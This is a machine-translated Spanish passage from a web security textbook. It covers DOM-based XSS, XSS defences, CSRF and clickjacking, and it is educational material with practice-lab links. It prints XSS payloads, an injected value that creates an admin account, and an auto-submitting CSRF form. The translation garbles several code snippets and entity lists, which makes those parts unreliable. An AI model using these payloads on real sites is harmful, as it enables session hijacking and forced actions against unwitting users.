PASOS DE HACK
n documento.ubicación
n documento.URL
n documento.URLUsincodificar
n documento.referente
n ventana.ubicación
n documento.writeln()
n documento.cuerpo.innerHtml
n evaluar()
n ventana.execScript()
n ventana.setInterval()
n ventana.setTimeout()
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/error/18/ http://mdsec.net/
error/22/ http://mdsec.net/error/28/ http://
mdsec.net/error/31/ http: //mdsec.net/
error/37/ http://mdsec.net/error/41/ http://
mdsec.net/error/49/ http://mdsec.net/error/
53/ http:// mdsec.net/error/56/ http://
mdsec.net/error/61/
Al igual que con XSS reflejado y almacenado, la aplicación puede realizar varios filtros
en un intento de bloquear los ataques. A menudo, el filtrado se aplica en el lado del cliente,
y puede revisar el código de validación directamente para comprender cómo funciona e
intentar identificar cualquier omisión. Todas las técnicas ya descritas para filtros contra
ataques XSS reflejados pueden ser relevantes aquí.
¡INTENTALO!
http://mdsec.net/error/92/ http://mdsec.net/
error/95/ http://mdsec.net/error/107/ http://
mdsec.net/error/109/ http: //mdsec.net/error/
118/
En algunas situaciones, puede encontrar que la aplicación del lado del servidor
implementa fi ltros diseñados para evitar ataques XSS basados en DOM. Aunque la
operación vulnerable ocurre en el cliente y el servidor no devuelve los datos proporcionados
por el usuario en su respuesta, la URL aún se envía al servidor. Por lo tanto, la aplicación
puede validar los datos y no devolver el script vulnerable del lado del cliente cuando se
detecta una carga útil maliciosa.
Si se encuentra esta defensa, debe intentar cada una de las posibles omisiones del filtro
que se describieron anteriormente para las vulnerabilidades XSS reflejadas para probar la
solidez de la validación del servidor. Además de estos ataques, varias técnicas exclusivas
de los errores XSS basados en DOM pueden permitir que la carga útil de su ataque evada
la validación del lado del servidor.
Cuando los scripts del lado del cliente extraen el valor de un parámetro de la URL, rara
vez analizan la cadena de consulta correctamente en pares de nombre/valor. En su lugar,
normalmente buscan en la URL el nombre del parámetro seguido del signo igual y luego
Machine Translated by Google
extraiga lo que venga a continuación, hasta el final de la URL. Este comportamiento puede
ser explotado de dos maneras:
Aquí, el servidor ignora el parámetro inventado, por lo que no está sujeto a ningún
filtrado. Sin embargo, debido a que la secuencia de comandos del lado del cliente
busca la cadena de consulta para message= y extrae todo lo que sigue, incluye
su carga útil en la cadena que procesa.
¡INTENTALO!
http://mdsec.net/error/76/ http://mdsec.net/
error/82/
MITO COMÚN
"Comprobamos todas las solicitudes de los usuarios en busca de etiquetas de secuencias de comandos incrustadas, por lo que no
n En algunas fallas XSS, los datos controlables por el atacante se insertan directamente en un
contexto de JavaScript existente, por lo que no es necesario usar etiquetas de secuencias de
comandos u otros medios para introducir código de secuencias de comandos. En otros casos,
puede inyectar un controlador de eventos que contenga JavaScript sin usar ninguna etiqueta de secuencia de comandos.
Machine Translated by Google
n Si una aplicación recibe datos a través de algún canal fuera de banda y los presenta dentro de
su interfaz web, cualquier error XSS almacenado puede explotarse sin enviar ninguna carga
útil maliciosa mediante HTTP.
n Es posible que los ataques contra XSS basados en DOM no impliquen el envío de ninguna
carga útil maliciosa al servidor. Si se utiliza la técnica de fragmentación, la carga útil
permanece en el cliente en todo momento.
Algunas aplicaciones emplean un script del lado del cliente más sofisticado que realiza
un análisis más estricto de la cadena de consulta. Por ejemplo, puede buscar en la URL
el nombre del parámetro seguido del signo igual, pero luego extraer lo que sigue solo
hasta que alcance un delimitador relevante como & o #. En este caso, los dos ataques
descritos anteriormente podrían modificarse de la siguiente manera:
http://mdsec.net/error/79/Error.ashx?foomessage=<script>alerta(1)</script
>&message=Lo siento%2c+ocurrió+un+error
http://mdsec.net/error/79/Error.ashx#message=<script>alerta(1)</script>
¡INTENTALO!
http://mdsec.net/error/79/
MITO COMÚN
"Estaban a salvo. Nuestro escáner de aplicaciones web no encontró ningún error XSS”.
Como verá en el Capítulo 19, algunos escáneres de aplicaciones web hacen un trabajo
razonable al encontrar fallas comunes, incluido XSS. Sin embargo, debería ser evidente en este
punto que muchas vulnerabilidades XSS son sutiles de detectar, y crear un exploit que funcione
puede requerir un sondeo y experimentación extensos.
En la actualidad, ninguna herramienta automatizada puede identificar de forma fiable todos estos errores.
Machine Translated by Google
n Validar entrada. n
Validar salida. n
Eliminar puntos de inserción peligrosos.
Una advertencia a este enfoque surge cuando una aplicación necesita permitir que los
usuarios creen contenido en formato HTML, como una aplicación de blogs que permite HTML
en los comentarios. Algunas consideraciones específicas relacionadas con esta situación se
discuten después de que se hayan descrito las técnicas defensivas generales.
Validar entrada
En el momento en que la aplicación recibe datos proporcionados por el usuario que pueden
copiarse en una de sus respuestas en cualquier momento futuro, la aplicación debe realizar
Machine Translated by Google
validación dependiente del contexto de estos datos, de la manera más estricta posible.
Las características potenciales para validar incluyen lo siguiente:
Se deben aplicar diferentes reglas de validación de la manera más restrictiva posible a nombres,
direcciones de correo electrónico, números de cuenta, etc., de acuerdo con el tipo de datos que la
aplicación espera recibir en cada campo.
Validar salida
En el punto en que la aplicación copia en sus respuestas cualquier elemento de datos que se
originó de algún usuario o tercero, estos datos deben codificarse en HTML para desinfectar
caracteres potencialmente maliciosos. La codificación HTML implica reemplazar caracteres
literales con sus entidades HTML correspondientes. Esto garantiza que los navegadores manejarán
caracteres potencialmente maliciosos de forma segura, tratándolos como parte del contenido del
documento HTML y no como parte de su estructura.
Las codificaciones HTML de los principales caracteres problemáticos son las siguientes:
norte
“ — "
norte
' — '
n & - &erio;
n < — <
n > — >
n % — %
norte
* — *
Cabe señalar que cuando se inserta la entrada del usuario en un valor de atributo de etiqueta,
el navegador HTML decodifica el valor antes de procesarlo más. En esta situación, la defensa de
simplemente codificar en HTML cualquier carácter normalmente problemático puede ser ineficaz.
De hecho, como hemos visto, para algunos fi ltros, el atacante puede eludir los caracteres de
codificación HTML en la carga útil. Por ejemplo:
} volver a salir.toString();
}
Un error común que cometen los desarrolladores es codificar en HTML solo los caracteres
que inmediatamente parecen ser útiles para un atacante en el contexto específico. Por
ejemplo, si se inserta un elemento en una cadena entre comillas dobles, la aplicación podría
codificar solo el carácter “ . Si el elemento se inserta sin comillas en una etiqueta, podría
codificar solo el carácter > . Este enfoque aumenta considerablemente el riesgo de que se
encuentren desvíos. Como ha visto, un atacante a menudo puede aprovechar la tolerancia
de los navegadores a HTML y JavaScript no válidos para cambiar el contexto o inyectar
código de formas inesperadas. Además, a menudo es posible expandir un ataque a través
de múltiples campos controlables, aprovechando los diferentes filtros que se emplean en
cada uno. Un enfoque mucho más sólido es codificar siempre en HTML cada carácter que
pueda ser de uso potencial para un atacante, independientemente del contexto en el que se
inserte. Para proporcionar el mayor nivel de seguridad posible, los desarrolladores pueden
optar por codificar en HTML todos los caracteres no alfanuméricos, incluidos los espacios
en blanco. Este enfoque normalmente impone una sobrecarga no medible en la aplicación y
presenta un obstáculo severo para cualquier tipo de ataque de derivación de filtro.
Permitir a los usuarios escribir comentarios usando HTML, aplicar formato a sus comentarios,
incrustar enlaces o imágenes, etc. En esta situación, la aplicación generalizada de las medidas
anteriores supondrá la ruptura de la aplicación. El marcado HTML de los usuarios estará
codificado en HTML en las respuestas y, por lo tanto, se mostrará en la pantalla como marcado
real, en lugar de como el contenido formateado que se requiere.
Para que una aplicación admita esta funcionalidad de forma segura, debe ser robusta y
permitir solo un subconjunto limitado de HTML, que no proporciona ningún medio para
introducir código de secuencia de comandos. Esto debe implicar un enfoque de lista blanca
en el que solo se permitan etiquetas y atributos específicos. Hacer esto con éxito no es una
tarea trivial porque, como ha visto, existen numerosas formas de usar etiquetas aparentemente
inofensivas para ejecutar código.
Por ejemplo, si la aplicación permite las etiquetas <b> y <i> y no considera
ningún atributo utilizado con estas tareas, es posible que se produzcan los
siguientes ataques:
<b style=behavior:url(#default#time2) onbegin=alert(1)> <i onclick=alert(1)>Haga clic
aquí</i>
Hay varios marcos disponibles para validar el marcado HTML proporcionado por el usuario
para tratar de garantizar que no contenga ningún medio para ejecutar JavaScript, como el
proyecto OWASP AntiSamy. Se recomienda que los desarrolladores que necesitan permitir
que los usuarios creen HTML limitado deben usar un marco maduro adecuado directamente
o deben examinar de cerca uno de ellos para comprender los diversos desafíos involucrados.
Si se considera inevitable usar scripts del lado del cliente de esta manera, las fallas
XSS basadas en DOM se pueden prevenir a través de dos tipos de defensas,
correspondientes a la validación de entrada y salida descrita para XSS reflejado.
Validar entrada
En muchas situaciones, las aplicaciones pueden realizar una validación rigurosa de los
datos que se procesan. De hecho, esta es un área donde la validación del lado del cliente
puede ser más efectiva que la validación del lado del servidor. En el ejemplo vulnerable
descrito anteriormente, el ataque se puede prevenir validando que los datos que se van a
insertar en el documento contengan solo caracteres alfanuméricos y espacios en blanco. Por ejemplo:
<script>
var a = documento.URL; a =
a.substring(a.indexOf(“mensaje=”) + 8, a.longitud);
a = no escapar(a); var
expresión regular=/^([A-Za-z0-9+\s])*$/; if
(regex.prueba(a)) documento.escribir(a);
</script>
Además de este control del lado del cliente, la validación rigurosa del lado del servidor de los datos
de URL se puede emplear como una medida de defensa en profundidad para detectar solicitudes que
pueden contener vulnerabilidades maliciosas para fallas XSS basadas en DOM. En el mismo ejemplo
que se acaba de describir, en realidad sería posible que una aplicación prevenga un ataque empleando
solo la validación de datos del lado del servidor verificando lo siguiente:
Con estos controles implementados, aún sería necesario que la secuencia de comandos del lado
del cliente analizara correctamente el valor del parámetro del mensaje , asegurándose de que no se
incluyera ningún fragmento de la URL.
Validar salida
Al igual que con las fallas XSS reflejadas, las aplicaciones pueden codificar HTML de datos DOM
controlables por el usuario antes de que se inserten en el documento. Esto permite que todo tipo de
caracteres y expresiones potencialmente peligrosos se muestren dentro de la página de forma segura.
La codificación HTML se puede implementar en JavaScript del lado del cliente con una función como
la siguiente:
var d = documento.createElement('div');
d.appendChild(document.createTextNode(str)); volver d.innerHTML;
Resumen
Este capítulo ha examinado las diversas formas en que pueden surgir vulnerabilidades XSS y
las formas en que se pueden eludir las defensas comunes basadas en filtros.
Debido a que las vulnerabilidades XSS son tan frecuentes, a menudo es sencillo encontrar varios
errores dentro de una aplicación que son fáciles de explotar. XSS se vuelve más interesante, al
menos desde una perspectiva de investigación, cuando existen varias defensas que lo obligan a
diseñar una entrada altamente elaborada, o aprovechar alguna característica poco conocida de
HTML, JavaScript o VBScript, para ofrecer una explotación funcional.
El siguiente capítulo se basa en esta base y examina una amplia variedad de formas
adicionales en las que los defectos en la aplicación web del lado del servidor pueden dejar a sus
usuarios expuestos a ataques maliciosos.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
3. Descubre que el contenido de un parámetro de cookie se copia sin ningún tipo de filtro o
desinfección en la respuesta de la aplicación. ¿Se puede usar este comportamiento para
inyectar JavaScript arbitrario en la página devuelta? ¿Se puede explotar para realizar un
ataque XSS contra otro usuario?
4. Descubre el comportamiento XSS almacenado dentro de los datos que solo se le muestran
a usted mismo. ¿Tiene este comportamiento algún significado de seguridad?
5. Está atacando una aplicación de correo web que maneja archivos adjuntos y los muestra
en el navegador. ¿Qué vulnerabilidad común debe verificar de inmediato?
7. Mencione tres posibles cargas útiles de ataque para vulnerabilidades XSS (es
decir, las acciones maliciosas que puede realizar en el navegador de otro usuario,
no los métodos por los cuales lanza los ataques).
8. Ha descubierto una vulnerabilidad XSS reflejada en la que puede inyectar
datos arbitrarios en una sola ubicación dentro del HTML de la página
devuelta. Los datos insertados se truncan a 50 bytes, pero desea inyectar
un script extenso. Prefiere no llamar a un script en un servidor externo.
¿Cómo se puede evitar el límite de longitud?
9. Descubre una falla XSS reflejada en una solicitud que debe usar el método
POST . ¿Qué mecanismos de entrega son factibles para realizar un ataque?
Machine Translated by Google
Machine Translated by Google
CAPÍTULO R
13
El capítulo anterior describió cómo se pueden usar los ataques XSS para inducir a un usuario
a realizar acciones sin saberlo dentro de la aplicación. Cuando el usuario de la víctima tiene
privilegios administrativos, esta técnica puede conducir rápidamente a un compromiso
completo de la aplicación. Esta sección examina algunos métodos adicionales que se pueden
usar para inducir acciones por parte de otros usuarios. Estos métodos se pueden utilizar
incluso en aplicaciones protegidas contra XSS.
501
Machine Translated by Google
Solicitar falsificación
Esta categoría de ataque (también conocida como conducción de sesión) está estrechamente
relacionada con los ataques de secuestro de sesión, en los que un atacante captura el token de
sesión de un usuario y, por lo tanto, puede usar la aplicación "como" ese usuario. Sin embargo, con
la falsificación de solicitudes, el atacante nunca necesita conocer el token de sesión de la víctima.
Más bien, el atacante aprovecha el comportamiento normal de los navegadores web para secuestrar
el token de un usuario, lo que hace que se use para realizar solicitudes que el usuario no tiene la intención de realizar.
Las vulnerabilidades de falsificación de solicitudes vienen en dos sabores: en el sitio y entre sitios.
La falsificación de solicitud en el sitio (OSRF) es una carga útil de ataque familiar para explotar
vulnerabilidades XSS almacenadas. En el gusano de MySpace, descrito en el capítulo anterior, un
usuario llamado Samy colocó una secuencia de comandos en su perfil que provocó que cualquier
usuario que viera el perfil realizara varias acciones involuntarias. Lo que a menudo se pasa por alto es
que las vulnerabilidades OSRF almacenadas pueden existir incluso en situaciones en las que XSS no
es posible.
Considere una aplicación de tablero de mensajes que permita a los usuarios enviar
elementos que otros usuarios ven. Los mensajes se envían mediante una solicitud como la siguiente:
POST /submit.php Host:
wahh-app.com Longitud del
contenido: 34
tipo=pregunta&nombre=daf&mensaje=foo
<tr>
<td><img src=”/images/question.gif”></td> <td>daf</td>
<td>foo</td>
</tr>
En esta situación, por supuesto, probaría fallas XSS. Sin embargo, suponga que
“ inserta los caracteres < y >
que la aplicación esté correctamente codificando HTML en la
página. Cuando esté satisfecho de que esta defensa no se puede eludir de ninguna manera, puede
pasar a la siguiente prueba.
Pero mira de nuevo. Usted controla parte del objetivo de la etiqueta <img> . Aunque no puede
romper la cadena entre comillas, puede modificar la URL para que cualquier usuario que vea su
mensaje realice una solicitud GET arbitraria en el sitio. Por ejemplo, enviar el siguiente valor en el
parámetro de tipo hace que cualquier persona que vea su mensaje realice una solicitud para intentar
agregar un nuevo usuario administrativo:
../admin/nuevoUsuario.php?username=daf2&password=0wned&role=admin#
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/search/77/
PASOS DE HACK
1. En cada ubicación donde los datos enviados por un usuario se muestran a otros usuarios
pero no puede realizar un ataque XSS almacenado, revise si el comportamiento de la
aplicación la hace vulnerable a OSRF.
3. Si descubre una vulnerabilidad OSRF, busque una solicitud adecuada para tar
obtenga su exploit, como se describe en la siguiente sección para la falsificación de
solicitudes entre sitios.
En los ataques de falsificación de solicitudes entre sitios (CSRF), el atacante crea un sitio web
de aspecto inocuo que hace que el navegador del usuario envíe una solicitud directamente a la
aplicación vulnerable para realizar alguna acción no deseada que es beneficiosa para el atacante.
Recuerde que la política del mismo origen no prohíbe que un sitio web emita solicitudes a un
dominio diferente. Sin embargo, evita que el sitio web de origen procese las respuestas a las
solicitudes entre dominios. Por lo tanto, los ataques CSRF normalmente son "unidireccionales"
solamente. Las acciones de varias etapas, como las involucradas en el gusano Samy XSS, en el
que los datos se leen de las respuestas y se incorporan a las solicitudes posteriores, no se
pueden realizar mediante un ataque CSRF puro. (Algunos métodos mediante los cuales las
técnicas CSRF pueden extenderse para realizar ataques bidireccionales limitados y capturar
datos entre dominios se describen más adelante en este capítulo).
Considere una aplicación en la que los administradores puedan crear nuevas cuentas de usuario
utilizando solicitudes como las siguientes:
Esta solicitud tiene tres características clave que la hacen vulnerable a los ataques CSRF:
solicitud. n El atacante puede determinar todos los parámetros necesarios para realizar la
acción. Aparte del token de sesión en la cookie, no es necesario incluir valores
impredecibles en la solicitud.
En conjunto, estas características significan que un atacante puede construir una página web
que realiza una solicitud entre dominios a la aplicación vulnerable que contiene todo lo necesario
para realizar la acción privilegiada. Aquí hay un ejemplo de tal ataque:
<html>
<cuerpo>
<forma acción=”https://mdsec.net/auth/390/NewUserStep2.ashx”
método = "POST">
Machine Translated by Google
<script>
documento.formularios[0].submit(); </script>
</cuerpo>
</html>
¡INTENTALO!
http://mdsec.net/auth/390/
Dave Armstrong encontró un ejemplo del mundo real de una falla CSRF en la aplicación de eBay
en 2004. Fue posible crear una URL que provocó que el usuario solicitante hiciera una oferta arbitraria
por un artículo de subasta. Un sitio web de terceros podría hacer que los visitantes soliciten esta URL,
de modo que cualquier usuario de eBay que visite el sitio web haga una oferta. Además, con un poco
de trabajo, fue posible explotar la vulnerabilidad en un ataque OSRF almacenado dentro de la propia
aplicación de eBay. La aplicación permitía a los usuarios colocar etiquetas <img> dentro de las
descripciones de las subastas. Para defenderse de los ataques, la aplicación validó que el objetivo de
la etiqueta devolviera un archivo de imagen real. Sin embargo, fue posible colocar un enlace a un
servidor externo que devolvió una imagen legítima cuando se creó el artículo de la subasta y,
posteriormente, reemplazar esta imagen con una redirección HTTP a la URL CSRF diseñada.
Por lo tanto, cualquiera que haya visto el artículo de la subasta, sin darse cuenta, haría una oferta por
él. Se pueden encontrar más detalles en la publicación original de Bugtraq:
http://archive.cert.uni-stuttgart.de/bugtraq/2005/04/msg00279.html
Explotación de fallas de
CSRF Las vulnerabilidades de CSRF surgen principalmente en los casos en que las aplicaciones
dependen únicamente de las cookies HTTP para el seguimiento de las sesiones. Una vez que una
aplicación ha establecido una cookie en el navegador de un usuario, el navegador envía
automáticamente esa cookie a la aplicación en cada solicitud posterior. Esto es cierto
independientemente de si la solicitud se origina en un enlace, un formulario dentro de la propia
aplicación o de cualquier otra fuente , como un sitio web externo o un enlace en el que se hizo clic
en un correo electrónico. Si la aplicación no toma precauciones contra el "equilibrio" de un atacante
en las sesiones de sus usuarios de esta manera, es vulnerable a CSRF.
PASOS DE HACK
3. Cree una página HTML que emita la solicitud deseada sin ninguna interacción
del usuario. Para solicitudes GET, puede colocar una etiqueta <img> con el
atributo src establecido en la URL vulnerable. Para solicitudes POST, puede
crear un formulario que contenga campos ocultos para todos los parámetros
relevantes requeridos para el ataque y que tenga su objetivo establecido en la
URL vulnerable. Puede usar JavaScript para enviar automáticamente el formulario tan pronto como se cargue la p
significativo como uno diseñado específi camente para que los administradores ejecuten
consultas SQL arbitrarias. Si se puede inyectar una consulta que realiza alguna acción
confidencial o que recupera datos a través de algún canal fuera de banda, este ataque
puede ser realizado por usuarios no administrativos a través de CSRF.
Autenticación y CSRF
Dado que los ataques CSRF implican realizar alguna acción privilegiada dentro del
contexto de la sesión del usuario víctima, normalmente requieren que el usuario inicie
sesión en la aplicación en el momento del ataque.
Un lugar donde han surgido numerosas vulnerabilidades CSRF peligrosas es en las interfaces
web utilizadas por los enrutadores DSL domésticos. Estos dispositivos a menudo contienen
funciones sensibles, como la capacidad de abrir todos los puertos en el cortafuegos orientado a
Internet. Dado que estas funciones a menudo no están protegidas contra CSRF, y dado que la
mayoría de los usuarios no modifican la dirección IP interna predeterminada del dispositivo, son
vulnerables a los ataques CSRF lanzados por sitios externos maliciosos. Sin embargo, los
dispositivos en cuestión a menudo requieren autenticación para realizar cambios sensibles y,
por lo general, la mayoría de los usuarios no inician sesión en su dispositivo.
Si la interfaz web del dispositivo usa autenticación basada en formularios, a menudo es
posible realizar un ataque en dos etapas iniciando primero la sesión del usuario en el dispositivo
y luego realizando la acción autenticada. Dado que la mayoría de los usuarios no modifican las
credenciales predeterminadas para dispositivos de este tipo (quizás suponiendo que solo se
puede acceder a la interfaz web desde la red doméstica interna), la página web del atacante
puede emitir primero una solicitud de inicio de sesión que contenga las credenciales
predeterminadas. Luego , el dispositivo establece un token de sesión en el navegador del
usuario, que se envía automáticamente en cualquier solicitud posterior, incluidas las generadas por el atacante.
En otras situaciones, un atacante puede requerir que el usuario de la víctima inicie sesión en
la aplicación en el propio contexto de usuario del atacante para lanzar un ataque específico. Por
ejemplo, considere una aplicación que permita a los usuarios cargar y almacenar archivos.
Estos archivos pueden ser descargados más tarde, pero solo por el usuario que los cargó.
Suponga que la función se puede usar para realizar ataques XSS almacenados, porque no se
filtran los contenidos de los archivos (consulte el Capítulo 12). Esta vulnerabilidad puede parecer
inofensiva, sobre la base de que un atacante solo podría usarla para atacarse a sí mismo. Sin
embargo, al usar técnicas CSRF, un atacante puede explotar la vulnerabilidad XSS almacenada
para comprometer a otros usuarios. Como ya se describió, la página web del atacante puede
realizar una solicitud CSRF para obligar a un usuario víctima a iniciar sesión con las credenciales
del atacante. La página del atacante puede realizar una solicitud CSRF para descargar un
archivo malicioso. Cuando el navegador del usuario procesa este archivo, la carga útil XSS del
atacante se ejecuta y la sesión del usuario con la aplicación vulnerable se ve comprometida.
Aunque la víctima está actualmente conectada usando
Machine Translated by Google
la cuenta del atacante, esto no tiene por qué ser el final del ataque. Como se describe en el
Capítulo 12, el exploit XSS puede persistir en el navegador del usuario y realizar acciones
arbitrarias, desconectando al usuario de su sesión actual con la aplicación vulnerable e
induciéndolo a volver a iniciar sesión con sus propias credenciales.
Prevención de fallas de
CSRF Las vulnerabilidades de CSRF surgen debido a la forma en que los navegadores envían
automáticamente las cookies al servidor web emisor con cada solicitud posterior. Si una
aplicación web se basa únicamente en cookies HTTP como mecanismo para rastrear sesiones,
está inherentemente en riesgo de sufrir este tipo de ataque.
La defensa estándar contra los ataques CSRF es complementar las cookies HTTP con
métodos adicionales de seguimiento de sesiones. Esto generalmente toma la forma de tokens
adicionales que se transmiten a través de campos ocultos en formularios HTML.
Cuando se envía cada solicitud, además de validar las cookies de sesión, la aplicación verifica
que se recibió el token correcto en el envío del formulario.
Suponiendo que el atacante no tiene forma de determinar el valor de este token, no puede
construir una solicitud entre dominios que logre realizar la acción deseada.
NOTA Incluso las funciones que se defienden sólidamente mediante tokens CSRF pueden
ser vulnerables a los ataques de reparación de la interfaz de usuario (UI), como se describe más
adelante en este capítulo.
Cuando los tokens anti-CSRF se usan de esta manera, deben estar sujetos a las mismas
medidas de seguridad que los tokens de sesión normales. Si un atacante puede predecir los
valores de los tokens que se emiten a otros usuarios, es posible que pueda determinar todos
los parámetros necesarios para una solicitud CSRF y, por lo tanto, seguir lanzando un ataque.
Además, si los tokens anti-CSRF no están vinculados a la sesión del usuario para
el que se emitieron, un atacante puede obtener un token válido dentro de su propia
sesión y utilizarlo en un ataque CSRF dirigido a la sesión de un usuario diferente. .
¡INTENTALO!
http://mdsec.net/auth/395/
http://mdsec.net/auth/404/
¡INTENTALO!
http://mdsec.net/auth/398/
Machine Translated by Google
No cometa el error de confiar en el encabezado HTTP Referer para indicar si una solicitud
se originó en el sitio o fuera del sitio. El encabezado Referer se puede falsificar con versiones
anteriores de Flash o enmascarar con una etiqueta de actualización meta. En general, el
encabezado Referer no es una base confiable sobre la cual construir defensas de seguridad
dentro de las aplicaciones web.
De hecho, hay varias situaciones en las que se pueden explotar las vulnerabilidades XSS
para derrotar las defensas anti-CSRF:
Por ejemplo, si una aplicación emplea tokens anti-CSRF para proteger solo el segundo
paso de una función de transferencia de fondos, un atacante puede aprovechar un
ataque XSS reflejado en otro lugar para derrotar a la defensa. Un script inyectado a
través de esta falla puede realizar una solicitud en el sitio para el primer paso de la
transferencia de fondos, recuperar el token y usarlo para solicitar el segundo paso. El
ataque tiene éxito porque el primer paso de la transferencia, que no está defendido
contra CSRF, devuelve el token necesario para acceder a la página defendida. La
dependencia de solo las cookies HTTP para llegar al primer paso significa que se puede
aprovechar para obtener acceso al token que defiende el segundo paso.
Machine Translated by Google
n En algunas aplicaciones, los tokens anti-CSRF están vinculados solo al usuario actual y no a
su sesión. En esta situación, si el formulario de inicio de sesión no está protegido contra
CSRF, aún puede ser posible un exploit de varias etapas. Primero, el atacante inicia sesión
en su propia cuenta para obtener un token anti-CSRF válido que está vinculado a su
identidad de usuario. Luego usa CSRF contra el formulario de inicio de sesión para obligar
al usuario víctima a iniciar sesión con las credenciales del atacante, como ya se describió
para la explotación de vulnerabilidades XSS almacenadas por el mismo usuario.
Una vez que el usuario inicia sesión como atacante, el atacante usa CSRF para hacer que
el usuario emita una solicitud que aproveche el error XSS, usando el token anti-CSRF
adquirido previamente por el atacante. La carga útil XSS del atacante luego se ejecuta en
el navegador del usuario. Dado que el usuario sigue conectado como atacante, es posible
que la carga útil XSS deba cerrar la sesión del usuario e inducirlo a que vuelva a iniciar
sesión, con el resultado de que las credenciales de inicio de sesión del usuario y la sesión
de la aplicación resultante se vean totalmente comprometidas.
n Si los tokens anti-CSRF no están vinculados al usuario sino a la sesión actual, es posible una
variación del ataque anterior si hay algún método disponible para que el atacante inyecte
cookies en el navegador del usuario (como se describe más adelante en este capítulo) . En
lugar de usar un ataque CSRF contra el formulario de inicio de sesión con las propias
credenciales del atacante, el atacante puede enviar directamente al usuario tanto su token
de sesión actual como el token anti CSRF que está vinculado a él. El resto del ataque
continúa como se describió anteriormente.
Aparte de estos escenarios, las sólidas defensas contra los ataques CSRF en muchas
situaciones hacen que sea considerablemente más difícil, si no imposible, explotar algunas
vulnerabilidades XSS reflejadas . Sin embargo, no hace falta decir que cualquier condición XSS en
una aplicación siempre debe corregirse, independientemente de las protecciones anti-CSRF que
puedan, en algunas situaciones, frustrar a un atacante que busca explotarlas.
Fundamentalmente, las defensas anti-CSRF que involucran tokens dentro de la página tienen como
objetivo garantizar que las solicitudes realizadas por un usuario se originen a partir de las acciones
de ese usuario dentro de la aplicación misma y no sean inducidas por algún dominio de terceros.
Los ataques de reparación de UI están diseñados para permitir que un sitio de terceros induzca
acciones de usuario en otro dominio, incluso si se utilizan tokens anti-CSRF. Estos ataques
funcionan porque, en el sentido relevante, las solicitudes resultantes en realidad se originan dentro
de la aplicación a la que se dirigen. Las técnicas de reparación de la interfaz de usuario también se
denominan a menudo "clickjacking", "strokejacking" y otras palabras de moda.
En su forma básica, un ataque de reparación de la interfaz de usuario implica que la página
web del atacante cargue la aplicación de destino dentro de un iframe en la página del atacante.
En efecto, el atacante superpone la interfaz de la aplicación de destino con una interfaz diferente
Machine Translated by Google
proporcionada por el atacante. La interfaz del atacante contiene contenido para atraer al
usuario e inducirlo a realizar acciones como hacer clic con el mouse en una región particular
de la página. Cuando el usuario realiza estas acciones, aunque parece que está haciendo
clic en los botones y otros elementos de la interfaz de usuario que son visibles en la interfaz
del atacante, está interactuando sin darse cuenta con la interfaz de la aplicación a la que
se dirige.
Por ejemplo, supongamos que una función bancaria para realizar una transferencia de
pago implica dos pasos. En el primer paso, el usuario envía los detalles de la transferencia.
La respuesta a esta solicitud muestra estos detalles, y también un botón para confirmar la
acción y realizar el pago. Además, en un intento por evitar ataques CSRF, el formulario de
la respuesta incluye un campo oculto que contiene un token impredecible. Este token se
envía cuando el usuario hace clic en el botón confi rmar y la aplicación verifica su valor
antes de transferir los fondos.
En el ataque de reparación de la interfaz de usuario, la página del atacante envía la
primera solicitud en este proceso utilizando CSRF convencional. Esto se hace en un iframe
dentro de la página del atacante . Como suele hacer normalmente, la aplicación responde
con los datos del usuario a añadir y un botón para confi rmar la acción. Esta respuesta se
"muestra" dentro del iframe del atacante, que se superpone con la interfaz del atacante
diseñada para inducir a la víctima a hacer clic en la región que contiene el botón de
confirmación . Cuando el usuario hace clic en esta región, sin saberlo, está haciendo clic
en el botón de confirmación en la aplicación de destino, por lo que se crea el nuevo usuario.
Este ataque básico se ilustra en la figura 13-1.
La razón por la que este ataque tiene éxito, donde fallaría un ataque CSRF
puro, es que el token anti-CSRF utilizado por la aplicación se procesa de la manera
normal. Aunque la página del atacante no puede leer el valor de este token debido
a la política del mismo origen, el formulario en el iframe del atacante incluye el token
Machine Translated by Google
generado por la aplicación, y lo envía de nuevo a la aplicación cuando la víctima, sin darse cuenta,
hace clic en el botón de confirmación. En lo que respecta a la aplicación de destino , todo es normal.
Para lograr el truco clave de hacer que el usuario víctima vea una interfaz pero interactúe
con otra diferente, el atacante puede emplear varias técnicas de CSS. El iframe que carga
la interfaz de destino puede tener un tamaño arbitrario, en una ubicación arbitraria dentro
de la página del atacante y mostrando una ubicación arbitraria dentro de la página de
destino. Usando los atributos de estilo adecuados, se puede hacer completamente
transparente para que el usuario no pueda verlo.
¡INTENTALO!
http://mdsec.net/auth/405/
Desarrollando aún más el ataque básico, el atacante puede usar un código de script complejo
dentro de su interfaz para inducir acciones más elaboradas que simplemente hacer clic en un
botón . Supongamos que un ataque requiere que el usuario ingrese algún texto en un campo de
entrada (por ejemplo, en el campo de cantidad de una página de transferencia de fondos). La
interfaz de usuario del atacante puede contener algún contenido que induzca al usuario a escribir
(por ejemplo, un formulario para ingresar un número de teléfono para ganar un premio). Una
secuencia de comandos en la página del atacante puede manejar de forma selectiva las pulsaciones
de teclas, de modo que cuando se escribe un carácter deseado, el evento de pulsación de tecla
pasa efectivamente a la interfaz de destino para completar el campo de entrada requerido. Si el
usuario escribe un carácter que el atacante no desea ingresar en la interfaz de destino, la pulsación
de tecla no pasa a esa interfaz y el script del atacante espera la siguiente pulsación de tecla.
En otra variación, la página del atacante puede contener contenido que induzca al usuario a
realizar acciones de arrastre del mouse, como un juego simple. La secuencia de comandos que se
ejecuta en la página del atacante puede manejar selectivamente los eventos resultantes de una
manera que hace que el usuario seleccione inadvertidamente texto dentro de la interfaz de la
aplicación de destino y lo arrastre a un campo de entrada en la interfaz del atacante, o viceversa.
Por ejemplo, cuando se dirige a una aplicación de correo web, el atacante podría inducir al usuario
a arrastrar el texto de un mensaje de correo electrónico a un campo de entrada que el atacante
pueda leer. Alternativamente, se puede hacer que el usuario cree una regla para reenviar todo el
correo electrónico al atacante y arrastrar la dirección de correo electrónico requerida desde la
